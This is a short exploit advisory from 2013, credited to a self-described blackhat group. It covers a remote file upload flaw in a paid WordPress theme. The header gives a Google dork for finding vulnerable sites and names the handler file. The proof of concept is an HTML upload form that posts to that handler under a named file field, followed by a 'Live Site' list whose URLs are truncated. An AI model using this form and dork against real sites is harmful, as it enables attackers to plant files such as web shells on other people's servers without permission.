###################################################################################################
#_________ .___ _______ ___. .__
#\_ ___ \ ____ __| _/____ \ \ ______ _ _\_ |__ |__| ____
#/ \ \/ / _ \ / __ |/ __ \ / | \_/ __ \ \/ \/ /| __ \| |/ __ \
#\ \___( <_> ) /_/ \ ___/ / | \ ___/\ / | \_\ \ \ ___/
# \______ /\____/\____ |\___ > \____|__ /\___ >\/\_/ |___ /__|\___ >
# \/ \/ \/ \/ \/ \/ \/
###################################################################################################
# Exploit Title: WordPress Project 10 Themes - Remote File Upload Vulnerability
# Author: Byakuya
# Date: 11/18/2013
# Vendor Homepage: http:
# Themes Link: http:
# Price: $40
# Affected Version: v1.0
# Infected File: upload-handler.php
# Category: webapps/php
# Google dork: inurl:/wp-content/themes/project10-theme/
# Tested on : Windows/Linux
###################################################################################################
# Exploit & POC :
<form enctype="multipart/form-data"
Please choose a file: <input name="orange_themes" type="file" /><br />
<input type="submit" value="upload" />
</form>
# File path:
http:
# Live Site:
-http:
-http:
-http:
# Credit: ./Byakuya ./Mr Ohsem ./Cai ./RatKid ./Agam ./Lord-Router ./X-Tuned ./MrN3wb1e ./Official Code-Newbie
# Facebook: https:
# Website: http:
# Malaysia & Indonesia BlackHat
###################################################################################################
